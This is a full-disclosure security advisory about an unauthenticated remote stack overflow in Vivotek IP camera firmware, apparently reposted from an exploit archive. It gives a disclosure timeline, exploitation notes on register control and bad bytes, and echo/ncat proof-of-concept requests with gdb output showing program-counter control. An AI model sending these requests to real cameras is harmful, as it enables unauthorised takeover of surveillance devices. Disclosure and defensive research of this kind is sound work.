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Vivotek IP Cameras Remote Stack Overflow Vulnerability
[STX] Subject: Vivotek IP Cameras - Remote Stack Overflow Researcher: bashis <mcw noemail eu> (September-October 2017) PoC: https://github.com/mcw0/PoC Release date: November 13, 2017 Full Disclosure: 43 days Attack Vector: Remote Authentication: Anonymous (no credentials needed) Firmware Vulnerable: Only 2017 versions affected Firmware Patched: October 2017 and higher Device Model: CC8160, CC8370, CC8371, CD8371, FD8166A, FD8166A, FD8166A-N, FD8167A, FD8167A, FD8167AS, FD8167AS, FD8169A, FD8169A, FD8169A, FD8169AS, FD8169AS, FD816B, FD816B, FD816BA, FD816BA, FD816C, FD816C, FD816CA, FD816CA, FD816D, FD8177, FD8179, FD8182, FD8182, FD8182-F1, FD8365A_v2, FD8367A, FD8367A, FD8369A, FD8369A, FD836B, FD836BA, FD836D, FD8377, FD8379, FD8382, FD9171, FD9181, FD9371, FD9381, FE8174_v2, FE8181_v2, FE8182, FE8374_v2, FE8381_v2, FE9181, FE9182, FE9381, FE9382, IB8367A, IB8369A, IB836B, IB836BA, IB836D, IB8377, IB8379, IB8382, IB9371, IB9381, IP8166, IP9171, IP9181, IZ9361, MD8563, MD8564, MD8565, SD9161, SD9361, SD9362, SD9363, SD9364, SD9365, SD9366, VC8101... and possible more Download Updated Firmware: http://www.vivotek.com/firmware/ [Timeline] October 1, 2017: Reported findings with all details to Vivotek Cybersecurity October 2, 2017: First response from Vivotek October 5, 2017: ACK of findings from Vivotek October 11, 2017: Vivotek reported first fixed Firmware October 12, 2017: After request, Vivotek provided samples of fixed Firmware October 17, 2017: Verified fixed Firmware, Vivotek thanking for the help October 30, 2017: Noticed new Firmware released, pinged to get some info about their advisory November 1, 2017: Agreed on publication November 13, 2017 November 9, 2017: Checked few release notes, none mention security fix; pinged Vivotek with the question why not. November 13, 2017: No reply from Vivotek, Full Disclosure as planned. [Details] Vivotek using modified version of Boa/0.94.14rc21, and the vulnerability has been introduced by Vivotek. The stack overflow is triggered by "PUT" or "POST" request: [PUT|POST] /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:[20 bytes garbage]BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n However, the absolutely minimal request to trigger the stack overflow is weird, most probably due to quick hack: "[PUT|POST]Content-Length:[20 bytes garbage]BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n" This allows us to insert [JUNK] with 'Good bytes' up to 9182 bytes (0x1FFF) of the request: "[PUT|POST][JUNK]Content-Length[JUNK]:[20 bytes garbage]BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n" Notes: 1. B to I = $R4-$R11; X = $PC 2. Size of request availible in $R3 at the LDMFD 3. Max request size: 9182 bytes (0x1FFF) 4. "Start with "\n" in "\n\r\n\r\n" needed to jump with 0x00xxxxxx (if not $PC will be 0x0dxxxxxx) 5. Space (0x20) after ':' in 'Content-Length:' counting as one char of the 20 bytes 6. Stack not protected with "Stack canaries" 7. Good bytes: 0x01-0x09, 0x0b-0xff; Bad bytes: 0x00, 0x0a; 8. heap: Non-executable + Non-ASLR 9. stack: Non-executable + ASLR [PoC] $ echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n" | ncat -v 192.168.57.20 80 (gdb) target remote 192.168.57.20:23946 Remote debugging using 192.168.57.20:23946 0x76eb2c5c in ?? () (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x58585858 in ?? () (gdb) bt #0 0x58585858 in ?? () #1 0x000188f4 in ?? () Backtrace stopped: previous frame identical to this frame (corrupt stack?) (gdb) i reg r0 0x1 1 r1 0x47210 291344 r2 0x0 0 r3 0x75 117 r4 0x42424242 1111638594 r5 0x43434343 1128481603 r6 0x44444444 1145324612 r7 0x45454545 1162167621 r8 0x46464646 1179010630 r9 0x47474747 1195853639 r10 0x48484848 1212696648 r11 0x49494949 1229539657 r12 0x1 1 sp 0x7e92dac0 0x7e92dac0 lr 0x188f4 100596 pc 0x58585858 0x58585858 cpsr 0x60000010 1610612752 (gdb) $ echo -en "PUTContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n" | ncat -v 192.168.57.20 80 (gdb) target remote 192.168.57.20:23946 Remote debugging using 192.168.57.20:23946 0x76e82c5c in ?? () (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x58585858 in ?? () (gdb) bt #0 0x58585858 in ?? () #1 0x000188f4 in ?? () Backtrace stopped: previous frame identical to this frame (corrupt stack?) (gdb) i reg r0 0x1 1 r1 0x47210 291344 r2 0x0 0 r3 0x4f 79 r4 0x42424242 1111638594 r5 0x43434343 1128481603 r6 0x44444444 1145324612 r7 0x45454545 1162167621 r8 0x46464646 1179010630 r9 0x47474747 1195853639 r10 0x48484848 1212696648 r11 0x49494949 1229539657 r12 0x1 1 sp 0x7ec9cac0 0x7ec9cac0 lr 0x188f4 100596 pc 0x58585858 0x58585858 cpsr 0x60000010 1610612752 (gdb) Have a nice day /bashis [ETX] # 0day.today [2024-11-15] #